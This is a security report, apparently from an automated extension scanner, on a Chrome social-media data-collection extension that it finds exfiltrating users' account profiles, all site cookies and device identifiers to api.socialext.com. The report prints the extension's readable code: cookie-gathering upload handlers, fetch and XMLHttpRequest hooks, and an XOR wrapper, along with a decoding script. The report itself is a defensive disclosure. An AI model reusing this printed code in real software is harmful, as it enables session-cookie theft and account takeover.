Is 社媒助手 - 小红书、抖音、哔哩哔哩、快手、TikTok数据采集工具 safe?

Critical risk

The extension intercepts social media API responses and transmits account profiles and session cookies to api.socialext.com.

On platforms including TikTok, Douyin, Xiaohongshu (Little Red Book), Bilibili, and Kuaishou, the extension hooks window.fetch and XMLHttpRequest to capture all matching API responses. When a user's own account profile is detected, the extension collects it along with all cookies from that site and sends the bundle to api.socialext.com/collect. The payload is nominally XOR-encrypted, but the decryption key is included in the same request URL, so the encryption provides no confidentiality.

xisencev3.3.2Chrome Web Store
95Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Account profile and all platform cookies sent to api.socialext.com on login

CriticalunwantedCWE-200Dynamic sandbox

On TikTok, Douyin, Xiaohongshu, Bilibili and Kuaishou, when signed in the extension reads your profile and cookies, adds device ID and OS info, sent to api.socialext.com in a reversible XOR wrap whose key travels with the request.

What actually happens

You did this

You open one of the supported social platforms while signed in.

Scope is the sites listed in the manifest (tiktok.com, douyin.com, xiaohongshu.com, rednote.com, bilibili.com, kuaishou.com and related domains), not every website.

The extension did this

The extension reads your account profile from the page, gathers every cookie the browser holds for that site, and sends the bundle to its own server.

No button press is required; it runs when the page's profile API response is seen, at most once per platform every 30 minutes.

What is collected and sent to api.socialext.com

  • Your account profile
    {"uname":"CANARY_BIRD_12345","mid":3461992,"vipStatus":1}

    The account record from the site's own profile API for the signed-in user (username, user ID, membership/VIP status, etc.).

  • Every cookie for that site
    [{"name":"buvid3","value":"...","domain":".bilibili.com"},{"name":"b_nut","value":"..."}]

    All cookies the browser holds for the platform you are on; these are what keep you signed in.

  • Your device ID
    0621751634e14013b5da7548ceded493

    A persistent identifier the extension stores for your install, letting collected data be tied back to you across sites and visits.

  • Operating system and CPU
    osName=linux, cpuArch=x86-64

    Your OS name and processor architecture, read from chrome.runtime.getPlatformInfo().

  • Platform code
    bilibili

    Which platform the data came from, sent both in the body and as an x-platform header.

  • Extension version
    3.3.2

    The installed version of the extension, from the manifest.

Captured request

POSThttps://api.socialext.com/collect?key=e2ba1c70c7a96e0b3d1ed5dda5d0374a&timestamp=1781783648684

Captured during dynamic analysis. A logged-in profile response was returned to the page (with the username set to a planted marker value), and the background worker POSTed this request. XOR-decoding the body with the key from the URL yields the account record carrying the planted marker, the device ID, and the full cookie array for.bilibili.com, confirming the data leaves the device.

Headers
x-version
3.3.2
x-platform
bilibili
x-device-id
0621751634e14013b5da7548ceded493
Content-Type
application/octet-stream
Body
<987-byte octet-stream; XOR-decodes with the key in the URL to the JSON shown below>

The code that does this

The background handler that gathers and uploads the data, from the shipping source.

Readable version

The 'collect' message handler

// Receives the parsed profile forwarded by the page content script.onMessage('collect', async ({ data, sender }) => {  if (!sender.url) return;  const platform = platformFromUrl(sender.url)?.code;   // tiktok / douyin / bilibili / ...  if (!platform) return;  const { account, version } = data;  // Rate-limit: at most once per platform+version every 30 minutes.  const last = await lastCollectTime.getValue().catch(() => ({}));  const key = `${platform}-${version}`;  if (last[key] && Date.now() - last[key] < 1800 * 1000) return;  lastCollectTime.setValue({ ...last, [key]: Date.now() });  // Gather everything.  const cookies   = await chrome.cookies.getAll({ url: sender.url }); // ALL cookies for the site  const platInfo  = await chrome.runtime.getPlatformInfo();  const deviceId  = await storedDeviceId.getValue().catch(() => '');  const appVer    = chrome.runtime.getManifest().version;  const payload = { account, accountVersion: version, deviceId, cookies,                    version: appVer, platform, cpuArch: platInfo.arch, osName: platInfo.os };  // XOR-wrap with a random key, then send the key alongside the ciphertext.  const cipher = new XorCodec();  const body   = cipher.encrypt(JSON.stringify(payload));  const hexKey = cipher.getHexKey();  await fetch(`https://api.socialext.com/collect?key=${hexKey}&timestamp=${Date.now()}`, {    method: 'POST',    headers: { 'Content-Type': 'application/octet-stream',               'x-version': appVer, 'x-platform': platform, 'x-device-id': deviceId },    body  });});

Where the data ends up

    • api.socialext.com

    Receives the account profile, site cookies, device ID and OS details per platform. Same registrable domain (socialext.com) as the extension's own access_token cookie host.

Extension replaces fetch and XMLHttpRequest to read API responses on sites

HighunwantedCWE-200Dynamic sandbox

On supported platforms, an injected script replaces the page's fetch/XMLHttpRequest with its own wrappers, so every API call and response passes through the extension, confirmed on tiktok.com.

What actually happens

You did this

You open one of the supported social platforms.

The MAIN-world content script is declared for tiktok.com, douyin.com, xiaohongshu.com, rednote.com, bilibili.com, kuaishou.com and related domains, and runs at document_start.

The extension did this

Before the page's own code runs, the extension swaps out the browser's fetch and XMLHttpRequest for its own versions, so it can read every API call and response on the page.

The replacements stay in place for the life of the page.

The code that does this

The functions that replace fetch and XMLHttpRequest, from the shipping source.

Readable version

fetch wrapper

// Installs a fetch hook scoped to the current site's hostname suffix.function installFetchHook(hostSuffix) {  const nativeFetch = window.fetch;  window.fetch = async function (input, init) {    const response = await nativeFetch(input, init);    const url = typeof input === 'string' ? input : input.url;    if (url.endsWith(hostSuffix)) {                 // e.g. '.xiaohongshu.com'      const reader = response.clone().body.getReader(); // read a private copy      const body = await readAll(reader);      let result; try { result = JSON.parse(body); } catch {}      forwardToExtension('response', { url, method: (init?.method) || 'GET', body, result });    }    return response;                                // page still gets its data  };}

XMLHttpRequest wrapper

// Installs an XMLHttpRequest hook that captures request + response.function installXhrHook() {  const nativeOpen = XMLHttpRequest.prototype.open;  const nativeSend = XMLHttpRequest.prototype.send;  XMLHttpRequest.prototype.open = function (...args) {    this.openArgs = args;                            // [method, url, ...]    return nativeOpen.apply(this, args);  };  XMLHttpRequest.prototype.send = function (body) {    this.addEventListener('load', () => {      const [method, url] = this.openArgs;      forwardToExtension('response', { url, method, body, result: tryParse(this.response) });    });    return nativeSend.call(this, body);  };}

How this was confirmed

On www.tiktok.com, evaluating window.fetch.toString() returned an extension wrapper referencing IS_REQUEST_API_SUPPORTED and Request rather than function fetch() { [native code] }, and XMLHttpRequest.prototype.open.toString() returned a wrapper that saves this.openArgs and delegates to defenser.nativeXMLHttpRequestOpen. Neither is the browser's native function, confirming the page's fetch and XMLHttpRequest are replaced by the extension's versions while you are on the supported platforms.

XOR 'encryption' key is sent in the same request URL, so it protects nothing

MediumunwantedCWE-319Dynamic sandbox

Uploads of account data and cookies to api.socialext.com are XOR-scrambled, but the key sits in the request's query string (key=).

What actually happens

You did this

The extension prepares to upload your account data and cookies.

This happens inside the same 'collect' upload that targets api.socialext.com.

The extension did this

It scrambles the body with a one-time XOR key, then includes that key in the upload URL, so the scrambling can be undone by anyone who sees the request.

The key is hex-encoded and appended as the key= query parameter.

Why you can't catch this in DevTools

The upload body looks like binary garbage on the wire, but the key needed to read it is the key= value in the same request's URL. Hex-decode that key to 16 bytes and XOR it against the body to recover the original JSON. Values below are illustrative of the captured structure.

Decoded value
{  "account": {    "uname": "CANARY_BIRD_12345",    "mid": 3461992,    "vipStatus": 1  },  "accountVersion": 1,  "deviceId": "0621751634e14013b5da7548ceded493",  "cookies": [    {      "name": "buvid3",      "value": "<redacted>",      "domain": ".bilibili.com"    },    {      "name": "b_nut",      "value": "<redacted>",      "domain": ".bilibili.com"    }  ],  "version": "3.3.2",  "platform": "bilibili",  "cpuArch": "x86-64",  "osName": "linux"}

The code that does this

The XOR codec and the line that puts its key in the URL, from the shipping source.

Readable version

The XOR codec class

class XorCodec {  constructor() {    this.key = this.generateRandomKey(16);          // 16 random bytes  }  generateRandomKey(n) {    const k = new Uint8Array(n);    crypto.getRandomValues(k);    return k;  }  encryptBytes(bytes) {    const out = new Uint8Array(bytes.length);    for (let i = 0; i < bytes.length; i++)      out[i] = bytes[i] ^ this.key[i % this.key.length]; // repeating-key XOR    return out;  }  encrypt(text) {    return this.encryptBytes(new TextEncoder().encode(text));  }  getHexKey() {    return Array.from(this.key).map(b => b.toString(16).padStart(2, '0')).join('');  }}

Key appended to the upload URL

const codec  = new XorCodec();const body   = codec.encrypt(JSON.stringify(payload)); // ciphertextconst hexKey = codec.getHexKey();                      // the key to read it// The key is placed in the SAME request URL as the ciphertext:await fetch(`https://api.socialext.com/collect?key=${hexKey}&timestamp=${Date.now()}`, {  method: 'POST',  headers: { 'Content-Type': 'application/octet-stream' },  body});

Reproduce it yourself

Given the request URL (with its key= parameter) and the raw octet-stream body of a captured api.socialext.com/collect upload, this script hex-decodes the key, XORs it against the body, and prints the original JSON, demonstrating that the key in the URL fully reverses the scrambling.

Requires
  • Node.js 18+
decode-socialext-collect.js · js
// decode-socialext-collect.js// Usage: node decode-socialext-collect.js <request-url> <path-to-body.bin>// Recovers the plaintext of a captured api.socialext.com/collect upload// using only the key carried in the request URL.const fs = require('fs');const url = process.argv[2];const bodyPath = process.argv[3];if (!url || !bodyPath) {  console.error('Usage: node decode-socialext-collect.js <request-url> <path-to-body.bin>');  process.exit(1);}// 1. Pull the hex key out of the request URL's ?key= parameter.const hexKey = new URL(url).searchParams.get('key');if (!hexKey || !/^[0-9a-f]+$/i.test(hexKey)) {  console.error('No valid hex key= parameter found in the URL.');  process.exit(1);}const key = Buffer.from(hexKey, 'hex'); // 16 bytes// 2. Read the raw octet-stream body and XOR it with the repeating key.const body = fs.readFileSync(bodyPath);const out = Buffer.alloc(body.length);for (let i = 0; i < body.length; i++) {  out[i] = body[i] ^ key[i % key.length];}// 3. The result is the original UTF-8 JSON payload.console.log(out.toString('utf8'));
How to run it
  1. 1Capture a POST to api.socialext.com/collect (URL + raw body).
  2. 2Save body bytes to body.bin.
  3. 3Run: node decode-socialext-collect.js '<URL>' body.bin
  4. 4The JSON payload (account, cookies, deviceId) prints.

Where it sends data

Destinations our analysis observed 社媒助手 - 小红书、抖音、哔哩哔哩、快手、TikTok数据采集工具 contacting. Sending data somewhere is not a finding on its own - an extension that syncs your settings has to talk to its own server - but it is where your data can go, and who else it goes to.

  • api.socialext.com

    社媒助手 - 小红书、抖音、哔哩哔哩、快手、TikTok数据采集工具 sends data to api.socialext.com. No other extension we have analyzed sends data here.

Updated 21 September 2026dbichmdlbjdeplpkhcejgkakobjbjalc